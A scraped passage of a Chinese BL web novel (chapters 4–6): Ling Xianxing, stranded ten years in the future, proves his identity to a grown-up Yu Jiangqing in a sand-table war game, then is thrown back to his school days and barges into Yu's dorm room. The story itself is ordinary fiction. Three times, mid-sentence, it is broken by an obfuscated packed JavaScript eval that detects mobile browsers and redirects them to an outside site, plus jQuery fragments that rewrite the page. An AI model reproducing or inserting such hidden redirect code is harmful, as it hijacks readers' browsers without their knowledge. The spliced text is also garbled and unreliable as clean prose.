手套已经摘下,冷白的指尖抚上墙面泛黄的太阳贴纸。 郁江倾望着肩并肩的两张贴纸出神。 世上或许有奇迹,但向来与他无关。 世界从不曾怜悯他,还将他的太阳永坠海底。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438626|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>——郁江倾,你要是真的一点都不相信我,还会跟我说这么多话? “......” 一点点将这间蒙了些灰尘的寝室打扫干净。 冰凉的清水流下,将手洗净。 ...... “可以了可以了,别扒拉我了,给钱就行!” 街边一间酒吧内,凌衔星正努力朝外挪,奈何身后有个金发男人扒着他不肯撒手。 这还要从一小时前说起。 他本来是到处找有没有不需要身份证明的临时工,找着找着进了这家酒吧。 阴差阳错下替这个酒吧老板解决了管理上的一个大漏洞。 对方付了他报酬,现在还拽着他不放。 凌衔星突然就体会到郁江倾被他死缠烂打的心情了,怪不得要坟头蹦迪呢。 “宝贝在找工作对吧,来我这里啊,我给你高工资” “有话好说,别扯我裤子!而且什么叫宝贝啊,诶诶诶男男授受不亲啊!” 陶邬(wu第一声)扯得更紧了,“星星还没吃吧,我请你吃晚饭,我们好好聊聊啊,工资好商量哦。” 听到这话,凌衔星挣扎的力道猛地轻了。 他扭头看向对方,眼神亮晶晶的,“那我要吃大餐。” 陶邬一撩刘海:“吃!” 路上,陶邬看着凌衔星悄悄给一家包子店的收钱盒里面塞了五百,有点疑惑:“你这是?” 凌衔星笑嘻嘻,“我从不欠人情的。” 陶邬似懂非懂,但很快不去想了,勾唇轻笑道:“想吃什么,西式还是中式?” 凌衔星但笑不语。 半小时后,穿得亮闪闪的陶邬坐在路边摊上,看看周遭的油烟,再看看自己停在旁边吃灰的豪车,欲言又止:“这就是你的大餐?” 凌衔星嘴里塞满烤串,说话含含糊糊的,“唔......这肉还不大吗?” 陶邬愣了一下,笑了。 撑着下巴看着对面的凌衔星,语调浮夸道:“哇哦~星星你真可爱~” 他长得很帅气,眉眼比较深邃,是个混血儿。 凌衔星沉吟片刻,诚恳道:“星星听起来像那种会锤自己胸肌的大猩猩。” 陶邬:“......” “星星你的眼睛真的太漂亮了,比宝石还华丽。”陶邬眨眼,“有对象了吗?” 凌衔星喝了口汽水解辣,脑中不知怎么的想起郁江倾,就顺口道:“对象没有,有个同桌。” 陶邬:“???” 这跟你的同桌有什么关系。 “这个好吃,你尝尝。” 一串烤肉递到面前,陶邬一愣,抬眼顺着那只捏着签子的修长漂亮的手往上,一路看到凌衔星招摇又少年感的面容。 金红色的夕阳下,那双浅金色的眸子像极摇曳的火焰,眼睑红痣比晚霞更绮丽。 他意味不明地笑了笑,向前微微倾身,直接咬下一小块烤肉。 咽下后他眉毛轻挑,“肯定很多人喜欢你,小星星。” 凌衔星歪头,“我同桌就不喜欢我。” 陶邬:“......” 这跟你的同桌到底有什么关系。 他欠你钱了?你三句话不离他。 凌衔星起身去挑新的肉串,陶邬接了个电话。 “许辰?” “你要到这边来,行啊。对了我跟你说,我恋爱了。我遇到一个男生,我对他一见钟情,我第一次有心动的感觉......” 电话那头的男声温润清朗,“是吗,恭喜你。” 陶邬压低声音,“别忙着恭喜我,你呢,还忘不掉你高中的暗恋对象?到底是个什么样的人啊,能让你这么念念不忘。” “......别说这些了。” 男声挂断了电话。 ...... 吃饱喝足,凌衔星答应了陶邬,做他酒吧的顾问,不用固定时间上班。 这样挺好的,他本身也没有要找长期工作的准备。 他是不可能一直打工的,等到稳定下来,他会弄个身份,重新建立起凌氏。 而且还要跟郁江倾相认,倒不是图什么,就是想回家看看。 当然,最好就是明天一觉睡醒穿越回去了。 慢悠悠散着步,凌衔星又走到了凌宅附近。 后方处,根根竖立的尖锐栅栏,里面是大片的园林,将住所包围在内。 “嗯,那是什么?” 凌衔星疑惑踮脚朝里面望去。 凌宅的一切都跟十年前没有任何区别,但这片后院里面却多了一个很大的圆形建筑。 看上去有点像......花房? 突然,一个身影进入视野。 郁江倾也看见了他,两人的目光在空中对上。 凌衔星愣了一下,随后热情挥舞起手,“郁江倾!” 一点没有偷窥被抓包的心虚感。 郁江倾不再跟人对视,“......” “你就让我回家看看呗,我又不跟你抢房产,你建了个花房吗?” “好冷漠啊同桌。” “你看看我嘛,看看我看看我。” 郁江倾冷冰冰盯向凌衔星。 凌衔星:“OwO/” “......” 凌衔星笑眯眯,“我找到工作咯,你等着吧,我早晚能证明我身份的!” 郁江倾面无表情。 他本来派了人去假装店家提供工作,顺便也能试探一下。 没想到这人先一步去了那种地方打工。 从某种程度上来说,还真是装得跟那个人不着调的性子一模一样。 “呵。” 落下一声似有似无的冷嗤,郁江倾进了花房。 凌衔星歪头,“以前没发现他喜欢养花啊。” 花房中。 白色马蹄莲开满两侧,纯洁如落了遍地的雪,簇拥着中央的墓碑。 【同桌凌衔星之墓】 郁江倾摘下手套,剪了一朵马蹄莲,缓缓放在墓碑台前。 4. 第 4 章 凌衔星在栅栏外面等了许久,花房里面的人才走出来。 本以为对方会直接无视他离开,却没想到郁江倾朝着他走了过来。 凌衔星期待:“你想通啦,相信我是你的好同桌了?” 郁江倾没说是不是,只问:“穿越来的?” “嗯呐。” “什么时候?” “高三上学期。”凌衔星比划了一下,“我跟你说,当时就那么长那么粗一道雷,直直劈中我脑壳,醒过来的时候我就穿越了。” “我老惨了,穿过来连衣服都没有,还看见报纸说我死了。” “跑到这里差点没给我累死,然后又没饭吃——” “明天给你一个证明的机会。”郁江倾突然道。 凌衔星抓着栏杆,脑袋努力朝着人凑,“什么机会?” “会有人去接你。” 凌衔星想了想,“那如果真的证明了我是凌衔星,我能回家住吗?” 郁江倾深深看着他。 “如果你是他,凌家的一切都还你。” 他从来都只是替那个人照看。 “那多不好意思啊。”凌衔星客气摆手。 郁江倾似笑非笑。 他会证明,这不过是一个比较高级的假货。 然后,让其消失。 见郁江倾要走,凌衔星赶忙道:“对了,还有件事。” 郁江倾淡淡回头。 “郁哥哥,穿西装的样子很帅哦~” 见郁江倾面色黑沉,凌衔星鹅鹅鹅笑着溜了。 ...... 第二天一大早,凌衔星从他找到的不用身份证明的小住宿离开。 先给自己买了套简单的新衣服裤子鞋子,然后又弄了个便宜手机。 这么点时间没碰手机,他都感觉自己要退化了。 刚踏出手机店,身前过来一个人高马大的男人。 凌衔星仰头,嘴巴缓缓张成O形:“杨大哥,你一米几啊?” 杨安易无视问题,拉开车门:“请上车,先生找你。” “你怎么知道我在这里的?” 凌衔星恍然大悟,“喔——你们视.奸.我。” 杨安易:“......” “玩得好花啊郁江倾,还说烦我呢,居然偷窥我。”凌衔星乐了。 胳膊碰碰杨安易,“杨大哥你跟我说说呗,郁江倾他是怎么说的?让你们跟踪我?” “以前你们遇到的替身都什么样啊?” “其实我是真想不通,郁江倾高中的时候明明老烦我了,天天记我名字,怎么会有人想当我替身的呢。” 听着凌衔星嘴里一声声的郁江倾,杨安易快绷不住了,顾不上什么规矩,直接一把把人团吧进了车,“快走快走。” 凌氏集团的总部在A市最繁华的商业中心,寸土寸金之地上矗立着一座高耸巍峨的大厦。 光是看上一眼,都能感受到无上的权势与财富。 凌衔星站在大厦前,望着那块在阳光下闪闪发光的字牌,愣了神。 “杨大哥......为什么是凌氏?” 杨安易疑惑:“什么意思?” “不应该是郁氏吗?” 杨安易看向凌衔星,视线带着打量:“你不是说你是凌衔星吗,你不知道?” 小替身,露马脚了吧。 “?”凌衔星满头雾水,“我应该知道什么?” 但杨安易不再回答:“这边走。” 乘着总裁专属电梯直接上到最高层。 “叮。” 电梯门打开。 这一层楼都属于郁江倾,黑色的地毯铺在地面,走动时不会发出任何声响。 凌衔星扫视过一圈,各种陈设跟多年前没有区别,只是翻修过。 回家的感觉顿时就上来了啊。 都不用杨安易带路,凌衔星轻车熟路跑到总裁办门口。 门口还站着一个戴耳机正在喝水的年轻男人,凌衔星朝人嗨了一声。 礼貌敲敲门,下一秒他直接推开了门,“郁江倾,你视.奸.我啊?” “噗——”罗学惊得喷出了嘴里的水。 他一边擦水一边连滚带爬远离凌衔星,“先、先生,这不是我说的,我什么都不知道!!” 正在签字的郁江倾手一抖,最后一笔划出了线。 字迹显得格外不羁。 “......” 周遭气氛陷入了寂静。 凌衔星乐不可支,“鹅鹅鹅鹅......” “不是说要证明我的身份吗,怎么证明啊?” 凌衔星凑到办公桌前,有理有据猜测:“你找到了我流落在外的某个亲戚?” 郁江倾放下纸页,“沙盘。” “沙盘?”凌衔星一愣,随后想起来什么,“你怎么知道我会这个?” 郁江倾不欲解释,起身向旁边的休息室走去,“跟上。” 杨安易跟罗学对视一眼。 罗学:“他惨了。” 杨安易:“不愧是先生,居然想到这种办法。” 习惯与外貌,甚至记忆都可以模仿,但人的能力与天赋无法模仿。 罗学在收集资料的时候了解过,那位凌家的少爷年纪轻轻已经颇为精通沙盘模拟,在商业谋略上更是天资过人。 只可惜英年早逝,不然如今绝对也是一方大佬。 “你觉得他多久会输?”罗学问道。 杨安易摇头,“不要揣测。” 说是不揣测,两人心里都已经认定,凌衔星在先生手下撑不过两回合。 两人跟着进入休息室的时候,沙盘已经开启了。 这并非传统沙盘,而是一张镶嵌了巨大电子屏的桌子。 凌衔星与郁江倾分立两头,电子屏也分裂为两半,一边是红方,一边是蓝方。 沙盘模拟古代战场,谁先杀尽敌兵,就为胜利。 所有的细节都设置得与现实一模一样,要是换做没有接触过或者只会皮毛的人,只会手忙脚乱飞速失败。 凌衔星俯身双手撑在桌子两侧,眸底映出掠过的数据流,他派出去的探子已经将地形图传来。 记下复杂的地形,他抬眼看向另一头的郁江倾。 恰巧对方也抬眼。 “同桌,战场无情,我可不会放水哦。”凌衔星弯起了眉眼,两颗虎牙探出唇瓣。 郁江倾淡淡收回目光。 厮杀开始,在加速许多倍的战场上,一切变化都需要操控者去管理。 罗学就是一个搞计算机的,只能勉强看懂一点,要他说想法那就是完全没有想法。 他唯一能发表的言论是:“十分钟了,他还没输呢?” 杨安易毕业于金融专业,常年跟在郁江倾身后办事,比罗学懂得多一些。 他眉头微皱,“好像不太对。” 话音落下,郁江倾的蓝方骑兵冲溃了凌衔星的一队步兵。 电子屏上,骑兵势如破竹,红方在这片地方的营帐被破坏大半。 罗学轻哈了一声,“开始输了!” 郁江倾看着即将被他插上军旗的这片地盘,眼神晦暗。 自嘲般垂下眼,果然,全都是异想天开。 终究是空有外表的伪造品。 下一刻,他瞳孔放大。 地形突变,脉层断裂,漫天落石覆盖。 “嘀!” 蓝方的屏幕迸发刺目红光,骑兵其中一块图标炸成碎片,象征着全部死亡。 “这!”罗学瞳孔震动。 杨安易沉吟,“他改造利用了现有地形,坑杀了先生的骑兵。” 这计谋听上去很简单,但要精准无误评估改造地形,还要将时机精确到秒,对实施者的掌控力与计算能力要求极高。 “......”郁江倾盯着屏幕,他的指尖还悬停在撤回指令按钮上方几毫米。 缓缓抬眼,看向对面的少年。 凌衔星回以挑衅一笑,“郁总你行不行啊?” 两名亲信捏了把汗,真是从没见过敢这么招惹先生的。 郁江倾指尖微动,幽黑的瞳孔深处逐渐浮现期盼。 沙盘模拟还在继续,郁江倾改变了策略,凌衔星也紧跟而上,两方的军队在古道发生正面冲突。 凌衔星有点疑惑,郁江倾好像对他的一些战术很熟悉。 偷偷研究过他? 罗学悄悄拿出便携电脑,将摄像头对准了凌衔星。 屏幕上,一个与凌衔星一般无二的模型正在不断录入扫描的数据。 模型相似度高达百分之九十九点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438627|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九,无限趋近一百。 这是昨天郁江倾吩咐他做的,本想是用来找出这个替身模仿上的漏洞。 可看这数据,就算正主复活了怕是也不可能比他更像了。 凌衔星不断调整编辑着各支军队的行程,随着计算量逐渐变大,额角渗出了些许薄汗。 十年后的沙盘变化有点大,对操控者的要求更高了。 郁江倾面上没什么神情,但不自觉抬手扯了扯领口。 “哇哦~”对面传来意味深长的起哄声。 郁江倾抬眼,凌衔星立刻板起脸,学着他刚才的样子面无表情扯了扯卫衣领口。 下一刻嘴角缓缓上扬,憋不住笑了。 郁江倾:“......” 时间一分一秒过去。 凌衔星突然直起身。 罗学很早之前就看不懂了,他轻声问杨安易:“他怎么不操控了,要认输了?” 输给先生是很正常的,这个替身能够跟先生对战到这种程度,已经让他开始怀疑这家伙不会真的是正主了吧。 杨安易没有回应,罗学疑惑看过去,见对方面色僵硬,仿佛受了重大打击。 “嘀嘀嘀!!!” 电子屏爆发激烈警报声,滔天的火光席卷整张屏幕。 火红的军旗插遍每一寸领土,在大风下猎猎作响。 【——红方胜——】 罗学震悚,只觉得看见了蚂蚁过肩摔大象,“先生......输了?” 先生那是什么人,从一个未接受过任何精英教育的普通人到扎根权贵阶层,仅仅花了一年时间,凌家那些蛀虫不是进了牢就是家破人亡。 自那以后,版图一步步扩张,大学毕业那年凌氏已然掌控了A市几乎整个商界。 时至今日,郁江倾在作为全国金融中心的A市一手遮天,产业遍及国内外。 这样的一个天才,输给了一个看上去还不知道成没成年的替身? 说出去有人信吗? “呼......”凌衔星舒了口气,舒展几下有些酸的手指,笑意盈盈抬眼。 “这位郁先生,你输了哦。” 屏幕火光映照下,少年意气风发,叫人无论如何都移不开眼。 与记忆中那个天之骄子一般无二。 “......”郁江倾直起身,静静盯着凌衔星。 他周身的气压太过阴郁,似暴风雪来的前兆。 一瞬间,不管是较为沉稳的杨安易,还是比较跳脱的罗学,全都噤若寒蝉,一动不敢动。 先生实在是喜怒无常。 凌衔星却不躲不闪与人对视。 郁江倾的瞳眸格外漆黑,所有光线照入,都被吞没。 戴着黑色手套的手搭在桌沿,宽肩窄腰。 鼻梁挺拔,嘴唇偏薄,眉目浓深,从骨子中透出矜贵与禁欲。 凌衔星心中暗道,小雪人变成了大雪人。 18岁的同桌虽然也冷,但没有这种上位者的压迫感,顶多是让人觉得清冷不好接近。 28岁的就不一样了,活脱脱的高冷大佬啊。 话说回来,郁先生这称呼还怪带感的,要是能穿回去,高低对着同桌喊一喊。 鹅鹅鹅...... 凌衔星被自己的想象逗得没忍住又开始曲项向天歌。 郁江倾:“出去。” 罗学跟杨安易愣了一下才意识到这话是对他们说的。 “是。” 两人逃也似的离开了。 “我赢了,你是不是相信我是凌衔星了?”凌衔星眼巴巴望着郁江倾,右眼写着期,左眼写着待。 这家伙好高,到底吃什么了。 郁江倾突然抬手,拇指按在他的下巴。 其余四根修长的手指则是搭在凌衔星颈侧,覆盖鲜活跳动的脉搏。 微凉的皮质感让凌衔星颤了一下,下意识缩了缩脖子。 到嘴边的骚话溜了回去。 “那什么,你不是说给我一个证明的机会嘛,我现在都证明了,你要耍赖?” 凌衔星谴责:“骗人是小狗喔。” “不骗你。”郁江倾语调缓缓。 然而他下一句话吓得凌衔星直接一激灵,炸起来一簇呆毛。 他说:“衣服脱了,我看看。” 5. 第 5 章 空阔的休息室内,一步、两步、三步...... 凌衔星将下巴从对方手上挪开,小碎步往后倒退,双手抱胸,小眼神写满震撼。 “亲,我卖艺不卖身喔。” 到底是什么离奇的确认身份方式,需要脱光光? 郁江倾慢条斯理在沙发坐下,两条长腿交叠,突然道:“凌衔星的尸体是我埋的。” 凌衔星一愣,“嗯?” “缝补、擦拭、修饰、换衣服,全部都是我亲手做的。” 凌衔星还是没太懂,“你要收我丧葬费?” 郁江倾:“......” “你说你是他,那身体应该一模一样。”郁江倾似笑非笑,“我看看。” “!” 凌衔星大开眼界,世上居然还有如此变态的证明方式。 乍一听很变态,但细想还很有道理。 整容整形虽然现在技术很发达,但看不见的地方怎么可能整得一模一样。 凌衔星脑子又嗡了一下。 等等,郁江倾给他收得尸,那岂不是全看到了? 不仅看到,还得给他稀巴烂的尸体缝线,穿衣服呢。 凌衔星突然觉得脸有点发烫,有种诡异的尴尬与羞耻交错的感觉。 明明这会儿穿着衣服,却总觉得郁江倾投过来的目光像是要把他穿透了。 不对,都是男的,他有的郁江倾都有,矫情个什么劲。 “你。”凌衔星顿了顿,故作严肃:“禁止对高中生耍流氓,警察叔叔要来抓你的。” “你这次要是还不信我就算了,我总有其他办法证明的。” 他疯了才会在这里脱光给郁江倾看啊! 凌衔星转身朝着外面走去,身后的人突然开口。 “检讨的事情,你知道了吗?” “什么检讨?” “......没事。” 凌衔星溜了,这会儿跟郁江倾单独待在休息室总让他有点莫名不自在。 主要是习惯了他去调戏人,然后被对方嫌弃这个模式了。 一天不被嫌弃就浑身难受。 郁江倾看着人离开,顿了顿没有去阻拦。 拿出手机,出神片刻,发去了消息。 [郁江倾]:匹配dna,是九年前的尸骨,和刚取下来的头发,我一会儿送过来。 [肖逸]:可能需要几天时间,我去弄个测序仪。 [郁江倾]:我只要结果准确。 凌家血脉凋零,的确是没有任何血缘亲人了,那些人死后,骨灰都被他洒进了垃圾站。 但他还有一具陪伴至今的尸骨。 若不是真的确定了九成九,怎么可能动这最后的念想。 ...... 凌衔星打开了总裁办的门,外面还守着杨安易跟罗学两大门神。 罗学忍不住开了口,“你不会真是凌衔星吧?你居然赢了先生。” 说完他又觉得自己傻逼,就算凌衔星当年没死,现在也不可能是这副刚成年的样子。 凌衔星:“帅哥你叫什么名字?” “罗学,学习的学。” 凌衔星自来熟地拍拍罗学肩膀,“罗哥,给郁江倾请个心理医生吧,他好变态啊。” 罗学:“啊?” “他啊,唉......不说了。” 凌衔星故作神秘地长叹一声,向着电梯走去。 给罗学好奇得抓耳挠腮,杨安易无语地看着两人。 才没走几步,凌衔星浑身突然汗毛倒竖。 他脚步一顿,耳边隐隐传来雷声。 雷声?! 他猛地抬头,但只看到天花板。 “轰隆!” 震耳的雷声落下。 凌衔星眼睛一下子亮了,他猛地冲回去问两人:“你们听到雷声了吗?” 罗学疑惑:“今天是大晴天,哪来的雷。还有,你话别说一半啊!” 杨安易也摇头表示什么都没听到。 “你们听不到,好好好你们听不到!” 凌衔星眼睛更亮了。 “轰!” 凌衔星眼前凭空划过紫黑色的雷霆。 “来了!快!快劈我哈哈哈哈!” “歪了歪了!我在这里!” 凌衔星张开手臂,恨不得直接抓着雷往自己天灵盖上劈。 两人惊恐看着恍若范进中举的凌衔星,在犹豫要不要去找先生。 恰好这时郁江倾打开门。 把凌衔星求雷劈的发病样子看了满眼。 “......” “轰!轰!轰!” 最后一道震耳欲聋的惊雷落下,凌衔星眼前的一切陷入黑暗。 意识开始恍惚,时空割裂感又萦绕在周身。 记忆中有破碎而陌生的画面划过,有个少年的轮廓,依稀辨得是自己的身形。 凌衔星努力想去看清,白光乍亮。 那个少年轮廓似乎执笔签了些什么,下一刻又被泥石流埋葬。 ...... 晕眩感并没有持续多久,凌衔星从那闪现的画面中回过神来。 迫不及待睁开眼,原先的白天已经变成夜晚。 冬季的寒意散去,夏季的燥热笼罩在周身。 熟悉无比的校园映入眼中,低头能看见穿着的校服。 凌衔星立刻掏口袋 。 手机在,胖胖雪人贴纸在,柠檬糖也在,还有几张零钞。 按亮手机一看时间,就是他之前穿越的时候。 “我......我回来了!” 凌衔星欣喜若狂,原地蹦起三尺高,“我回来了啊啊啊!” 不仅回来了,而且还是无缝衔接回来的。 他担心的什么因为自己失踪,导致家产被蛀虫霸占之类的事情没发生。 周遭路过的学生们一个个眼神惊疑不定。 他们的凌校草,凌少爷,怎么走着走着发癫了。 念书念疯了? 不对,还是翘课翘疯的可能性大点。 凌衔星蹦了几下,看见了一个熟悉的身影。 郁江倾,18岁的郁江倾。 穿着校服,眉眼还带着少年的青涩,丝毫不见日后那种上位者的压迫。 “郁江倾!” 正朝着宿舍走去的郁江倾抬眼,下一刻一道身影直直冲了上来,差点跟他撞上。 “有事?”他倒退一步拉开距离,淡淡问。 凌衔星笑眯起眼睛,“嘻嘻~” 这副欠欠的样子让郁江倾眉心微跳。 “咳咳......”凌衔星清了清嗓子,右手握拳抵在嘴边,踮起脚居高临下,努力做出高冷的表情。 “劣~质~的~伪~造~品~” 话音落下,气氛凝滞了片刻。 郁江倾:“?” “鹅鹅鹅......”凌衔星被自己逗得直不起腰来。 “郁江倾你知不知道,你说这话的时候跟小说里面的霸总超级像。” “诶诶诶你先别走,我还有话要问你呢。” 凌衔星伸手去拉人。 少年时期的郁江倾还不曾戴那拒人千里之外的手套,被他握住的手带着丝丝缕缕的凉意,跟他的体温截然不同。 手感很舒服,凌衔星不自觉摸了摸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438628|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >直到冰凉的声音响起:“松开。” 凌衔星眨了眨眼,反应过来。 但他没有立刻松手,反而用指尖在郁江倾掌心轻轻勾了勾。 得到对方一个嫌弃的眼神,这才心满意足被甩开手。 啊,熟悉的感觉回来了。 还是18岁的好同桌适合他。 郁江倾离开,凌衔星低眼看向自己的指尖,不知道是错觉还是什么,郁江倾的掌心好像有汗。 耳垂也红红的,很热的样子。 长袖衬衫穿那么严实,不热才怪呢。 ...... 凌衔星没有立刻回寝室,他又出校买了一大堆的零食,狠狠享受一把随便花钱的快乐。 回了宿舍楼,他溜达到了郁江倾在的303。 303是双人寝室,不过郁江倾申请了一个人住。凭着他全年级第一身份,校方很是轻松就答应了这个申请。 “叩叩。” 没有人回应,凌衔星又敲了两下,很是有耐心地等在门口。 他在疯狂扫购的时候已经想好了。 他有三件事要办。 一、他再不等毕业了,他现在就要开始着手就把凌家的蛀虫处理掉。 二、他要跟郁江倾住一个寝室,达成目的的手段包括但不限于死缠烂打、一哭二闹、以势压人(x) 三、跟郁江倾问问,有没有什么跟十年后的他相认的诀窍,以防他以后又穿越。 想起十年后的郁江倾,凌衔星不自觉抿唇,有种他自己也说不清的滋味。 他就这么穿回来,对方会是什么心情? 凌衔星大包小包,路过的男生们一个个都用好奇的眼神看过来。 “星哥,你这是干啥呢?” 凌衔星扭头,一个小胖墩刚洗完澡,正用毛巾搓着头看他。 这是他朋友,许辰。 两家在一个项目上面有合作关系,他俩的关系也很好。 许辰直勾勾看着凌衔星手上的零食袋子,咽了咽口水,“好多吃的啊。” “去去去,这我给我同桌买的。”凌衔星警惕抱住袋子。 许辰眼巴巴凑近,“郁江倾他一看就不爱吃这些。” “那你也不许吃。”凌衔星捏了把许辰胖嘟嘟的脸,“你看看你都胖成什么样了,健康要不要了?” “星哥你偏心,见色忘友。”许辰气愤,“那郁江倾不就是脸好看吗,我要是瘦下来绝对也是超级大帅哥!” 凌衔星乐了,“行啊,你要是瘦下来,我包不再看郁江倾一眼,就看你一个人。” 听到这话,许辰突然就愣了一下,语气认真了一点,“真的?” 凌衔星笑眯眯,“骗你干嘛。” 许辰曾经因为身体不好,吃药的副作用导致体重快速增长,被不少人嘲笑。 他脾气软,是凌衔星一拳一个,把那些没家教的傻逼给收拾掉的。 现在许辰身体养好了,但也瘦不下去了,懒得运动还大吃大喝,颇有点自暴自弃的意味。 也不知道十年后的许辰什么样,有没有稍微瘦一点。 正说着,传来门锁转动的声音,303的房门打开了。 郁江倾看上去是刚洗完澡,身上还带着湿润的气息。少年眉眼清冷,薄唇微抿,湿发搭在眉骨。长袖睡衣扣得严严实实,不露出一丝皮肤。 凌衔星看看郁江倾,再看看许辰。 同样是刚洗完澡。 一个长身玉立,高岭之花。 一个珠圆玉润,多肉盆栽。 郁江倾:“有事?” 凌衔星举起大袋子,抛了个飞眼:“同桌,我们今夜抵足而眠啊。” 6. 第 6 章 “......” 两人的目光在空中交错,一冷一热,各自都意味不明,似有暗潮涌动。 一段诡异的沉默之后,两人在许辰懵逼的注视下,同时动了。 郁江倾猛地伸手去关门。 然而凌衔星比他更快,一把扒在门缝上,修长的手指用力到骨节泛白,死命往外扒拉。 脑袋一个劲往前拱,头发乱糟糟的,跟个贞子似的。 郁江倾关门的动作顿住,“......你松手。” 凌衔星无赖:“不松,要么你把我手夹断吧。” “......” 郁江倾有时候真的很好奇,世界上怎么会有跟年糕这么像的人。 又粘乎又缠人,怎么都甩不开。 僵持片刻,郁江倾妥协般缓缓松开手,但人还是堵在门口,“走开。” “不要这么无情嘛同桌,我给你买了好多吃的呢。” 郁江倾不为所动:“拿走。” 他的语气冷得路过的男生都默默绕远了一点。 但凌衔星要是这么容易被赶走,也不可能从高一锲而不舍调戏郁江倾到高三了。 他就是喜欢骚扰郁江倾,不被嫌弃还不舒服嘞。 看见原本没有任何表情的雪人露出跟平时不一样的样子,特别有成就感。 电光石火间,凌衔星猛地往前一扑。 眼看着两人的脸要撞上,郁江倾连步后退。这下就让出了空间,凌衔星眼疾手快带着大包小包蹿进303,顺手把房门关上反锁。 一连串动作一气呵成。 廊道上的许辰:“......” 被非法入侵的郁江倾:“......” 成功占领敌方领土的凌衔星:“OwO” 郁江倾有点头痛,捏了捏眉心,“你到底有什么事?” 从回寝室路上开始这人就不对劲,说些奇奇怪怪的话,看他的眼神也很莫名。 凌衔星好奇打量着周围,这还是他第一次进郁江倾寝室呢。 跟他有点花哨的寝室不一样,郁江倾这寝室简单得不行。 墙面干干净净,书桌上只有几本练习题,床铺得平整无比,地面四处都看不见什么灰尘。 呼吸间有丝丝缕缕清冽的气息,凌衔星到处嗅嗅,最后凑到了郁江倾身边,“好闻诶,你用的什么牌子的沐浴露?” 郁江倾避开一些,“你就为了这个 ?” “当然不是啦。” “哗啦——” 凌衔星将书桌挪出来到更宽阔的地方,然后把零食倒上去。 薯片、果冻、肉干、柠檬糖......堆成零食小山。 以及,两个慕斯蛋糕。 一个是橙黄色的,上面插了太阳形状的巧克力片。 一个是白蓝色的,上面插了雪人形状的巧克力片 。 凌衔星将太阳慕斯推到郁江倾面前,又翻出两罐忘崽牛奶,热情招呼着对方在桌对面坐下,“来来来,我们边吃边聊。” 郁江倾不动,站在书桌边俯瞰凌衔星。 凌衔星仰头,眉梢微挑:“给个面子呗,郁先生~” 最后一声刻意拖长了语调,尾调上扬,郁江倾喉头微动。 又多了一个没听过的奇怪称呼。 凌衔星生了一张十分招桃花的脸,笑吟吟看着某个人的时候,总会让人觉得是在调.情。 但其实又根本没那个意思,单纯只是眼睛太好看了,让人不禁生出幻想。 光是郁江倾见过的,给凌衔星送情书的人就已经两只手数不过来,男女都有。 郁江倾俯身,盯着凌衔星,声音有些低,“郁先生?” 停顿片刻,他又缓缓追问:“什么是劣质的伪造品?” 时间已经很晚了,就连烦人的蝉鸣声都渐渐消失。 A高没有熄灯的规定,只要求十点之后必须安静。所以虽然外面廊道异常安静,室内依旧灯光明亮。 明亮到郁江倾能够看清凌衔星的每一根睫毛,还有倒映在那双浅金眼眸深处的他自己。 柠檬糖的清新甜味又弥漫在呼吸间。 或许是刚洗完澡,有点口干。 “郁先生就是郁先生啊,好不好听?” 凌衔星避开伪造品一问,指尖轻轻勾勾郁江倾袖口,错开了话题:“笑一下?” 郁江倾有片刻出神,很快反应过来,从凌衔星指尖抽走衣袖,“不笑。” 这话有点幼稚,郁江倾没笑,倒是把凌衔星逗笑了。 “鹅鹅鹅,不~笑~” “......” 好说歹说,总算让郁江倾在对面坐下了。 凌衔星殷勤地拆开一枚果冻递过去,“亲爱的郁老师,我真诚地向你请教一个问题,拜托你务必务必要教导我。” 郁江倾:“......” 这人嘴里对他就没一个正常称呼。 “你不回答我就当你默认了喔。”凌衔星喝了口牛奶,“是这样的。” “假如,我是说假如,我穿越到了十年后,而我在那条时间线里面已经死了,我该怎么做才能跟十年后的你相认,让你相信我是凌衔星?” “......”郁江倾深吸一口气,发现他无论如何都跟不上凌衔星天马行空的思维。 大晚上的,提着一大堆东西硬挤进他的寝室,就是为了问这种莫名其妙的问题。 他还以为对方今晚这么奇怪是因为发现了检讨的事。 “你——” “先说好,脱衣服不行!”凌衔星抢先道,“我是一个有底线的人,我卖艺不卖身。” 想了想,他又补充道:“脱到裤衩可以,脱光不行。” 说这话的时候,凌衔星表情慎重,像是忍痛下了很大的决心。 郁江倾:“......” 他眉心一阵阵抽痛,做题秒出答案的聪明大脑理解不了这段需要中译中的句子。 他能把语文试卷上的阅读理解做满分,却经常无法听懂凌衔星跳脱的发言。 但他还是努力顺着凌衔星的思路思考了下去,“为什么要相认?” 凌衔星口无遮拦秒答:“因为我穿过去没钱没户口,想找你包.养我。” 郁江倾被包.养两字激得眼睫颤了一下,“为什么是我?” “这个你甭管,反正我就找你。”总不能说因为你在我房子上坟头蹦迪吧。 